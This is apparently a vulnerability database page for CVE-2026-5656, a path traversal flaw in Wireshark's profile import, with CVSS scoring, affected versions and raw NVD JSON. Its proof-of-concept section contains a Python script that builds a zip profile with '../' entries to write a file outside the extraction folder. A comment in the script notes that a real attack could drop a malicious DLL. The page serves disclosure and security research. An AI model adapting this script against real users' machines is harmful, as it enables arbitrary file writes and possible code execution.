Security Vulnerability Report
中文
CVE-2026-5656 CVSS 7.0 HIGH

CVE-2026-5656

Published: 2026-05-01 00:16:25
Last Modified: 2026-05-01 19:23:20

Description

Profile import path traversal in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service and possible code execution

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.4.0 - 4.4.14
Wireshark 4.6.0 - 4.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import os # Demonstrating the Path Traversal vulnerability in Wireshark Profile Import # This script generates a malicious zip file containing a path traversal payload. def create_malicious_profile(): zip_name = "malicious_wireshark_profile.zip" # The payload content to be written outside the intended directory # In a real attack, this might be a malicious DLL or configuration script payload_data = b"This file should not be here due to path traversal." try: with zipfile.ZipFile(zip_name, 'w') as zf: # Use "../" sequences to escape the extraction folder # Attempting to write to a sensitive location (e.g., parent dir) malicious_filename = "../../../../../../tmp/pwned_wireshark.txt" # Create ZipInfo object to set metadata zinfo = zipfile.ZipInfo(filename=malicious_filename) zinfo.compress_type = zipfile.ZIP_DEFLATED # Write the payload zf.writestr(zinfo, payload_data) print(f"[+] Successfully created malicious profile: {zip_name}") print(f"[+] Payload contains path traversal: {malicious_filename}") print("[+] Import this file into vulnerable Wireshark to trigger the issue.") except Exception as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": create_malicious_profile()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5656", "sourceIdentifier": "[email protected]", "published": "2026-05-01T00:16:25.097", "lastModified": "2026-05-01T19:23:19.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Profile import path traversal in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service and possible code execution"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.15", "matchCriteriaId": "8EAFFA8A-B5D8-4784-851E-E1B682871495"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.5", "matchCriteriaId": "1D804272-AD4D-4454-9629-1BBAA825D7C4"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21115", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-21.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}